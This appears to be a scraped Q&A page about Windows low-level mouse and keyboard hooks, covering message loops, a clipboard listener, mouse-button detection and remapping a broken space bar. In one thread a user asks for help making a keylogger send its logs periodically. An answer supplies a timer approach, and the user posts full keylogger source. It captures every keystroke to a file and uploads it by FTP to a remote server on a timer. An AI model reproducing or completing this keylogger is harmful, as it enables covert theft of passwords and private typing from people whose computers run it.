I'm trying to make an application that just detects if the left mouse button is held down. In trying to do this, as well as learn mouse hooks, I copy-pasted a hook from an example source (https://cboard.cprogramming.com/windows-programming/119909-setwindowshookex-lowlevelmouseproc.html) just to see what it would do. The problem is that it lags my computer. Why is this, and how can I fix it?
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <iostream>
#include <cstdio>
using namespace std;
HHOOK g_Hook;
HANDLE g_evExit;
LRESULT CALLBACK LowLevelMouseProc (int code, WPARAM wParam, LPARAM lParam)
{
if (code == HC_ACTION)
{
const char *msg;
char msg_buff[128];
switch (wParam)
{
case WM_LBUTTONDOWN: msg = "WM_LBUTTONDOWN"; break;
case WM_LBUTTONUP: msg = "WM_LBUTTONUP"; break;
case WM_RBUTTONDOWN: msg = "WM_RBUTTONDOWN"; break;
case WM_RBUTTONUP: msg = "WM_RBUTTONUP"; break;
default:
sprintf(msg_buff, "Unknown msg: %u", wParam);
msg = msg_buff;
break;
}//switch
const MSLLHOOKSTRUCT *p =
reinterpret_cast<const MSLLHOOKSTRUCT*>(lParam);
cout << msg << " - [" << p->pt.x << ',' << p->pt.y << ']' << endl;
static bool left_down = false;
static bool right_down = false;
switch (wParam)
{
case WM_LBUTTONDOWN: left_down = true; break;
case WM_LBUTTONUP: left_down = false; break;
case WM_RBUTTONDOWN: right_down = true; break;
case WM_RBUTTONUP: right_down = false; break;
}//switch
if (left_down && right_down)
SetEvent(g_evExit);
}//if
return CallNextHookEx(g_Hook, code, wParam, lParam);
}//LowLevelMouseProc
int main()
{
g_evExit = CreateEvent(0, TRUE, FALSE, 0);
if (!g_evExit)
{
cerr << "CreateEvent failed, le = " << GetLastError() << endl;
return 1;
}//if
g_Hook = SetWindowsHookEx(WH_MOUSE_LL, &LowLevelMouseProc,
GetModuleHandle(0), 0);
if (!g_Hook)
{
cerr << "SetWindowsHookEx() failed, le = " << GetLastError() << endl;
return 1;
}//if
cout << "Press both left and right mouse buttons to exit..." << endl;
MSG msg;
DWORD status;
while (1)
{
while (PeekMessage(&msg, 0, 0, 0, PM_REMOVE))
DispatchMessage(&msg);
status = MsgWaitForMultipleObjects(1, &g_evExit, FALSE,
INFINITE, QS_ALLINPUT);
if (status == (WAIT_OBJECT_0 + 1))
{
// there are messages to process, eat em up
continue;
}//if
else
{
// assume g_evExit is signaled
break;
}//else
}//while
cout << "Exiting..." << endl;
UnhookWindowsHookEx(g_Hook);
CloseHandle(g_evExit);
return 0;
}//main
You need a message pump. The code you posted uses PeekMessage in combination with MsgWaitForMultipleObjects, but it's probably a better idea to use GetMessage along with TranslateMessage and DispatchMessage, as showcased in How to manually run message pump in C++:
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) > 1) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
With this loop, I was able to set up a WH_MOUSE_LL hook with SetWindowsHookExA without having the mouse input lag, and correctly receiving all events.
Make sure the hook is installed on the same thread that will pump the messages.
Related
I am trying to use Clipboard Format Listener for my C++ Console Application. The goal is to monitor every change in the clipboard. I create MessageOnly window, successfully call AddClipboardFormatListener in WM_CREATE, but never get WM_CLIPBOARDUPDATE message in WindowProc function.
#include <iostream>
#include "windows.h"
using namespace std;
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch (uMsg)
{
case WM_CREATE:
if (AddClipboardFormatListener(hwnd))
cout << " Listener started" << endl;
else
cout << " Start listener failed" << endl;
break;
case WM_DESTROY:
if (RemoveClipboardFormatListener(hwnd))
cout << " Listener stopped" << endl;
else
cout << " Stop listener failed" << endl;
break;
case WM_CLIPBOARDUPDATE:
// Clipboard content has changed
cout << " Clipboard updated" << endl;
break;
default:
break;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
int main(int argc, char* argv[])
{
HWND hWindow = nullptr;
static const wchar_t* className = L"ClipboardListener";
WNDCLASSEX wx = {};
wx.cbSize = sizeof(WNDCLASSEX);
wx.lpfnWndProc = WindowProc;
wx.hInstance = GetModuleHandle(NULL);
wx.lpszClassName = className;
if (!RegisterClassEx(&wx)) {
cout << "Cannot register class" << endl;
}
else
{
hWindow = CreateWindowEx(
0,
className,
L"ClipboardListener",
0, 0, 0, 0, 0,
HWND_MESSAGE,
NULL, NULL, NULL);
}
if (!hWindow)
{
cout << "Cannot create window" << endl;
}
else
{
while (true)
{
// Peek for a WM_CLIPBOARDUPDATE message
MSG message = { 0 };
PeekMessage(&message, hWindow, WM_CLIPBOARDUPDATE, WM_CLIPBOARDUPDATE, PM_REMOVE);
if (message.message == WM_CLIPBOARDUPDATE)
{
cout << "Sample window received WM_CLIPBOARDUPDATE message" << endl;
}
}
}
cin.get();
DestroyWindow(hWindow);
return 0;
}
PeekMessage works well, but I don't want to use loop to receive messages.
If I delete PeekMessage or replace PM_REMOVE with PM_NOREMOVE, nothing changes.
Your message loop is wrong.
CreateWindowEx() sends a WM_CREATE message before exiting, which is why your WindowProc() receives that message.
However, PeekMessage() does not dispatch messages to windows, which is why your WindowProc() does not receive the WM_CLIPBOARDUPDATE messages. Your message loop needs to call DispatchMessage() for that. You should also be using GetMessage() instead of PeekMessage(), so that the loop makes the calling thread sleep when there are no messages to process.
A standard message loop looks more like this:
MSG message;
while (GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
I'm using SetWindowsHookExA(WH_KEYBOARD_LL, HookCallback, GetModuleHandleA(NULL), 0); to set a global hook for capturing the keystrokes, but the result is strange.
The callback function can be executed when I press the "special" keys such as "Enter", "Tab", "Shift", "Ctrl" and other keys having a Virtual Key Code, while it fails to capture the keystrokes when I press the regular letters and digits.
I am confused about it and could anyone tell me the reason?
#include <Windows.h>
#include <iostream>
using namespace std;
HHOOK keyboardHook = 0;
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *ks = (KBDLLHOOKSTRUCT*)lParam;
cout<< "[TEST] " << ks->vkCode << endl;
return CallNextHookEx(0, code, wParam, lParam);
}
int main()
{
keyboardHook = SetWindowsHookExA(WH_KEYBOARD_LL, HookCallback, GetModuleHandleA(NULL), 0);
if (keyboardHook == 0)
{
cout << "failed" << endl;
return -1;
}
cout << "ok" << endl;
MSG msg;
while(GetMessage(&msg, NULL, 0, 0)){
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(keyboardHook);
return 0;
}
I have recently been experimenting with a little project during my limited free time to try and gain more experience and understanding with C++, but I've come to a roadblock in my current program:
I'm trying to create a global low-level mouse listener by using a windows hook, which most things seem fairly straight forward. However, identifying which X mouse button was clicked (MB4 or MB5) and which direction the scroll wheel was rolled is giving me a whole lot of headache.
According to the Microsoft docs, the current way I am trying to identify the appropriate X button clicked and scroll wheel direction is correct, but my implementation of it is not working.
I have been able to find one working solution to the X button issue (the last code segment post in this forum thread), but it seems a bit like jumping through unnecessary hoops when the Microsoft code segment is cleaner and should work.
Though C++ is not my most familiar language, I would like to continue to learn it and use it more often. I hope I'm just making a simple mistake, as this is the first time I have been working with Windows hooks. Thank you in advance for any advice or assistance anyone may be able to offer!
#include <iostream>
#include <windows.h>
static LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode >= 0)
{
switch(wParam)
{
case WM_LBUTTONDOWN:
system("CLS");
std::cout << "left mouse button down\n";
break;
case WM_LBUTTONUP:
std::cout << "left mouse button up\n";
break;
case WM_RBUTTONDOWN:
system("CLS");
std::cout << "right mouse button down\n";
break;
case WM_RBUTTONUP:
std::cout << "right mouse button up\n";
break;
case WM_MBUTTONDOWN:
system("CLS");
std::cout << "middle mouse button down\n";
break;
case WM_MBUTTONUP:
std::cout << "middle mouse button up\n";
break;
case WM_MOUSEWHEEL:
if(GET_WHEEL_DELTA_WPARAM(wParam) > 0)
std::cout << "mouse wheel scrolled up\n";
else if(GET_WHEEL_DELTA_WPARAM(wParam) < 0)
std::cout << "mouse wheel scrolled down\n";
else //always goes here
std::cout << "unknown mouse wheel scroll direction\n";
break;
case WM_XBUTTONDOWN:
system("CLS");
if(GET_XBUTTON_WPARAM(wParam) == XBUTTON1)
std::cout << "X1 mouse button down\n";
else if(GET_XBUTTON_WPARAM(wParam) == XBUTTON2)
std::cout << "X2 mouse button down\n";
else //always goes here
std::cout << "unknown X mouse button down\n";
break;
case WM_XBUTTONUP:
if(GET_XBUTTON_WPARAM(wParam) == XBUTTON1)
std::cout << "X1 mouse button up\n";
else if(GET_XBUTTON_WPARAM(wParam) == XBUTTON2)
std::cout << "X2 mouse button up\n";
else //always goes here
std::cout << "unknown X mouse button up\n";
break;
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int main()
{
HHOOK mouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseHookProc, NULL, 0);
MSG msg;
while(GetMessage(&msg, NULL, 0, 0) > 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(mouseHook);
return 0;
}
Please read the documentation:
LowLevelMouseProc callback function:
[...]
wParam [in] Type: WPARAM The identifier of the mouse
message. This parameter can be one of the following messages:
WM_LBUTTONDOWN, WM_LBUTTONUP, WM_MOUSEMOVE, WM_MOUSEWHEEL,
WM_MOUSEHWHEEL, WM_RBUTTONDOWN, or WM_RBUTTONUP. lParam
[in] Type: LPARAM A pointer to an MSLLHOOKSTRUCT
structure.
So wParam can be WM_LBUTTONDOWN, WM_LBUTTONUP, WM_MOUSEMOVE, WM_MOUSEWHEEL, WM_MOUSEHWHEEL, WM_RBUTTONDOWN, or WM_RBUTTONUP. There is no magic way to get any more information out of it. And if there were it would be undocumented and should be avoided.
lParam however points to a MSLLHOOKSTRUCT:
tagMSLLHOOKSTRUCT structure:
Contains information about a low-level mouse input event.
typedef struct tagMSLLHOOKSTRUCT {
POINT pt;
DWORD mouseData;
DWORD flags;
DWORD time;
ULONG_PTR dwExtraInfo;
} MSLLHOOKSTRUCT, *LPMSLLHOOKSTRUCT, *PMSLLHOOKSTRUCT;
[...]
mouseData Type: DWORD
If the message is WM_MOUSEWHEEL, the high-order word of this member is
the wheel delta. The low-order word is reserved. A positive value
indicates that the wheel was rotated forward, away from the user; a
negative value indicates that the wheel was rotated backward, toward
the user. One wheel click is defined as WHEEL_DELTA, which is 120.
If the message is WM_XBUTTONDOWN, WM_XBUTTONUP,
WM_XBUTTONDBLCLK, WM_NCXBUTTONDOWN, WM_NCXBUTTONUP, or
WM_NCXBUTTONDBLCLK, the high-order word specifies which X button was
pressed or released, and the low-order word is reserved. This value
can be one or more of the following values. Otherwise, mouseData is
not used. Value Meaning XBUTTON1 0x0001 The first X
button was pressed or released. XBUTTON2 0x0002 The second X
button was pressed or released.
So a simplified version of your callback could look like that:
#include <iostream>
#include <type_traits> // std::make_signed_t<>
#include <windows.h>
LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode != HC_ACTION) // Nothing to do :(
return CallNextHookEx(NULL, nCode, wParam, lParam);
MSLLHOOKSTRUCT *info = reinterpret_cast<MSLLHOOKSTRUCT*>(lParam);
char const *button_name[] = { "Left", "Right", "Middle", "X" };
enum { BTN_LEFT, BTN_RIGHT, BTN_MIDDLE, BTN_XBUTTON, BTN_NONE } button = BTN_NONE;
char const *up_down[] = { "up", "down" };
bool down = false;
switch (wParam)
{
case WM_LBUTTONDOWN: down = true;
case WM_LBUTTONUP: button = BTN_LEFT;
break;
case WM_RBUTTONDOWN: down = true;
case WM_RBUTTONUP: button = BTN_RIGHT;
break;
case WM_MBUTTONDOWN: down = true;
case WM_MBUTTONUP: button = BTN_MIDDLE;
break;
case WM_XBUTTONDOWN: down = true;
case WM_XBUTTONUP: button = BTN_XBUTTON;
break;
case WM_MOUSEWHEEL:
// the hi order word might be negative, but WORD is unsigned, so
// we need some signed type of an appropriate size:
down = static_cast<std::make_signed_t<WORD>>(HIWORD(info->mouseData)) < 0;
std::cout << "Mouse wheel scrolled " << up_down[down] << '\n';
break;
}
if (button != BTN_NONE) {
std::cout << button_name[button];
if (button == BTN_XBUTTON)
std::cout << HIWORD(info->mouseData);
std::cout << " mouse button " << up_down[down] << '\n';
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
Regarding your main():
Since your application has no windows, no messages will be sent to it and GetMessage() will never return. This renders the message pump youseless. A single call to GetMessage() is sufficient to give Windows the opportunity to call the installed hook callback. What is a problem though, is, that Code after the call to GetMessage() will never get executed because the only ways to end the program are closing the window or pressing Ctrl + C.
To make sure UnhookWindowsHookEx() gets called, I'd suggest setting a ConsoleCtrlHandler:
HHOOK hook = NULL;
BOOL WINAPI ctrl_handler(DWORD dwCtrlType)
{
if (hook) {
std::cout << "Unhooking " << hook << '\n';
UnhookWindowsHookEx(hook);
hook = NULL; // ctrl_handler might be called multiple times
std::cout << "Bye :(";
std::cin.get(); // gives the user 5 seconds to read our last output
}
return TRUE;
}
int main()
{
SetConsoleCtrlHandler(ctrl_handler, TRUE);
hook = SetWindowsHookExW(WH_MOUSE_LL, MouseHookProc, nullptr, 0);
if (!hook) {
std::cerr << "SetWindowsHookExW() failed. Bye :(\n\n";
return EXIT_FAILURE;
}
std::cout << "Hook set: " << hook << '\n';
GetMessageW(nullptr, nullptr, 0, 0);
}
What can I do to make a timer in this keylogger so it sends logs every hour? I tried Sleep() function while loops, but they don't seem to work. I thought of using multi-threading, but I thought there must be a more efficient method.
#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>
#include<iostream>
//globals
using namespace std;
ofstream out("keys.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
// If key is being pressed
if (wParam == WM_KEYDOWN) {
switch (p->vkCode) {
// Invisible keys
case VK_LCONTROL: out << "<LCTRL>"; break;
case VK_RCONTROL: out << "<RCTRL>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_END: out << "<END>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_DELETE: out << "<DEL>"; break;
case VK_BACK: out << "<BK>"; break;
case VK_LEFT: out << "<LEFT>"; break;
case VK_RIGHT: out << "<RIGHT>"; break;
case VK_UP: out << "<UP>"; break;
case VK_DOWN: out << "<dDOWN>"; break;
case VK_RETURN: out << "<ENTER>\n"; break;
//add special keys like semicolons
// Visible keys
default:
if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT)) //this should be on top to detect simultanous input first
out << char(tolower(p->vkCode));
else if (GetKeyState(VK_CAPITAL)||GetAsyncKeyState(VK_SHIFT))
out << char(toupper(p->vkCode));
//add capital version of sepecial keys
else
out << char(tolower(p->vkCode));
}
out.flush(); //to immediately flush to txt file
cout<<p<<endl;
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
// Set windows hook
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,keyboardHookProc,hInstance,0);
MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
out.close();
return 0;
}
I'm using DEVC++
If you just want to send your logs every once in a while, you can easily do a check to detect how long it has been since the last log update!
Easy Method
You'll need to store all your keylogs between file updates. You can easily put them into a vector.
So Instead of outputting to your file with out << blahblah add the character to your vector with vectorname.push_back(blahblah)
You'll also need a timing variable. You can use the windows.h function GetTickCount for all of your timing needs.
When your keyboard hook/callback (the method you have your actual keylogging code in) gets called, check to see if it's been an hour since the last time you updated your log file, if it has been an hour or longer, update it and set your timing variable = GetTickCount.
Hope that helps!
The Win32 API function SetTimer executes a function every x milliseconds or any given time.
http://msdn.microsoft.com/en-us/library/windows/desktop/ms644906(v=vs.85).aspx
The following console program works like this: It sets a timer using SetTimer
then loops in a message loop. The message loop receives and processes WM_TIMER messages
and the timer callback also is called for each time interval.
usage_Time_millisec=1000;//1 sec=1000ms 1 min=60*1000ms
Simply put the stuff you want done in the CALLBACK TimerProc() function.
#define STRICT 1
#include <windows.h>
#include <iostream.h>
#include <time.h>
unsigned long minutes=0;
int Counter=0;
int usage_Time_millisec=1000;//1 sec=1000ms 1 min=60*1000ms
clock_t timer_start, timer_stop;
MSG Msg;
UINT TimerId;
VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime)
{
//put the stuff you want done in here
cout << "Doing stuff Time: " << dwTime << '\n';
cout << abs(timer_start - timer_stop ) <<" millisecond delay " << endl;
cout << "--------------------------------------------------\n" ;
cout.flush();
}
int main(int argc, char *argv[], char *envp[])
{
usage_Time_millisec=1000;//1 sec=1000ms 1 min=60*1000ms
TimerId = SetTimer(NULL, 0, usage_Time_millisec, &TimerProc); //bind TimerProc() to SetTimer()
timer_start = clock ();
timer_stop = clock ();
cout << "TimerId: " << TimerId << '\n';
if (!TimerId) return 16;
while (GetMessage(&Msg, NULL, 0, 0))
{
++Counter;
if (Msg.message == WM_TIMER)
{
timer_start = clock ();
//cout << "Doing stuff Counter: " << Counter << "; timer message\n";
}
else
{
timer_stop = clock ();
timer_start = clock ();
//cout << "Doing stuff Counter: " << Counter << "; message: " << Msg.message << '\n';
}
DispatchMessage(&Msg);
}
KillTimer(NULL, TimerId);
return 0;
}
I used SetTimer() and it works like a charm.
#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>
#include<iostream>
#include <time.h>
#include <wininet.h>
using namespace std;
//globals
char date[100]; //must be a global variable
char *datetxt; //must be a global variable
char *buffer; //for outputting to new file, if there isnt internet
void namer(); //show nointernet() that namer() exists
void nointernet()
{
std::ifstream inFile(datetxt);//copy to buffer
inFile >> buffer;
inFile.close();
remove(datetxt); //delete old name
namer(); //give new name
std::ofstream outFile(datetxt); //should be here to avoid new and old name mishaps
outFile << buffer; //enter copied data here
}
void namer()
{
time_t rawtime;
struct tm *timeinfo;
time (&rawtime);
timeinfo = localtime (&rawtime);
strftime(date, 100, "%H%M%d%m%Y%S", timeinfo); //get date
datetxt = strcat(date, ".txt"); //joins date with a .txt extrention
}
int upload()
{
HINTERNET hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); // Initialization for WinInet Functions
if (!hInternet)
{
nointernet(); //if there is no internet, append new log file
}
HINTERNET hFtpSession = InternetConnect(hInternet, "ftp.SERVER.com", INTERNET_DEFAULT_FTP_PORT, "USER", "PASS", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0); // Starts a session in this case an FTP session
if (!hFtpSession)
{
InternetCloseHandle(hInternet);
nointernet(); //if you cant access ftp, append to new log file
}
FtpPutFile(hFtpSession, datetxt, datetxt, FTP_TRANSFER_TYPE_BINARY, 0); // Uploads datetxt file onto the FTP server as datetxt
InternetCloseHandle(hFtpSession); // Close hFtpSession
InternetCloseHandle(hInternet); // Close hInternet
//delete old datetxt
namer(); //give new name
return 0;
}
void CALLBACK repeat(HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime)
{
upload(); //upload old name and change name
}
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
ofstream out(datetxt, ios::app);
// If key is being pressed
if (wParam == WM_KEYDOWN)
{
switch (p->vkCode)
{
// Invisible keys
case VK_LCONTROL: out << "<LCTRL>"; break;
case VK_RCONTROL: out << "<RCTRL>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_END: out << "<END>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_DELETE: out << "<DEL>"; break;
case VK_BACK: out << "<BK>"; break;
case VK_LEFT: out << "<LEFT>"; break;
case VK_RIGHT: out << "<RIGHT>"; break;
case VK_UP: out << "<UP>"; break;
case VK_DOWN: out << "<dDOWN>"; break;
case VK_RETURN: out << "<ENTER>\n"; break;
//add special keys like semicolons
// Visible keys
default:
if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT)) //this should be on top to detect simultanous input first
out << char(tolower(p->vkCode));
else if (GetKeyState(VK_CAPITAL) || GetAsyncKeyState(VK_SHIFT))
out << char(toupper(p->vkCode));
//add capital version of special keys
else
out << char(tolower(p->vkCode));
}
out.close(); //to immediately flush to txt file
cout << p << endl;
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
namer(); // for the datetxt name
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); // Set windows hook
//re-run program here/*************************************************
MSG msg;
SetTimer(NULL, 0, 10000, (TIMERPROC) &repeat);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
//till here/**********************************************************/
// out.close();
BOOL WINAPI UnhookWindowsHookEx(HHOOK keyboardHook);
return 0;
}
my laptop space bar is broken and so I went on a venture to write a low level keyboard hook to disable it (As it insisted it was being pressed all the time) and change my full stop/period key into a new space bar.. that works fine but I have 2 issues.
1) The new space bar keystroke is sent twice, always - I don't know why
2) I'm trying to rewrite this hook to read alternative input and when I output that input to verify, it's doubled up in the output.
I'm not a strong c++ programmer nor am I a master if the Windows API so would love for a spot of guidance from you guys, if I may!
Code follows:-
#include<Windows.h>
#include <stdio.h>
#include <iostream>
using namespace std;
HHOOK hHook = NULL;
INPUT space[2];
bool sendingSpace=false;
void sendSpace()
{
cout << "Sending space\n";
space[0].type=INPUT_KEYBOARD;
space[0].ki.wVk=VK_SPACE;
space[0].ki.time=0;
space[1].type=INPUT_KEYBOARD;
space[1].ki.wVk=VK_SPACE;
space[1].ki.time=0;
space[1].ki.dwFlags=KEYEVENTF_KEYUP;
SendInput(2,space,sizeof(INPUT));
}
LRESULT CALLBACK MyLowLevelHook ( int nCode , WPARAM wParam , LPARAM lParam)
{
KBDLLHOOKSTRUCT* hs = (KBDLLHOOKSTRUCT*)lParam;
if(nCode <0)
return CallNextHookEx(hHook , nCode ,wParam , lParam);
switch(hs->vkCode)
{
case VK_SPACE:
if(!sendingSpace)
{
cout << "Ignoring space bar\n";
return 1;
}
else
{
return CallNextHookEx(hHook , nCode ,wParam , lParam);
}
break;
case VK_OEM_PERIOD:
sendingSpace=true;
sendSpace();
sendingSpace=false;
return 1;
break;
default:
cout << hs->vkCode << " ( " << (char)(hs->vkCode) << ")" << endl;
break;
}
return CallNextHookEx(hHook , nCode ,wParam , lParam);
}
int main()
{
//FreeConsole();
MSG msg;
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelHook , NULL,NULL);
while(!PeekMessage(&msg, NULL, 0, 0,PM_REMOVE)>0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hHook);
return 0;
}
P.S Im only using PeekMessage as a trial and error attempt to solve my issue!
Thanks in advance for any guidance, help or fingers pointing in the right direction!
Timmy.
The keyboard hook sees an event for a key being pressed and a key being released. The wParam argument of the hook callback contains WM_KEYDOWN on a key down, and WM_KEYUP on a key up.
In this case, you're not separating them both out, and are sending a space character every time the key is pressed and then released.
What you should really do is SendInput a KEYEVENTF_KEYDOWN when you see a WM_KEYDOWN and to a SendInput of a KEYEVENTF_KEYUP on seeing a WM_KEYUP.
The easiest way to accomplish this is to add a parameter to the sendSpace() function, so that it looks like:
void sendSpace(WPARAM param)
{
INPUT space;
cout << "Sending space " << (param == WM_KEYDOWN ? "Down" : "Up") << endl;
space.type = INPUT_KEYBOARD;
space.ki.wVk = VK_SPACE;
space.ki.time = 0;
space.ki.dwFlags = (param == WM_KEYDOWN) ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP;
SendInput(1, &space, sizeof INPUT);
}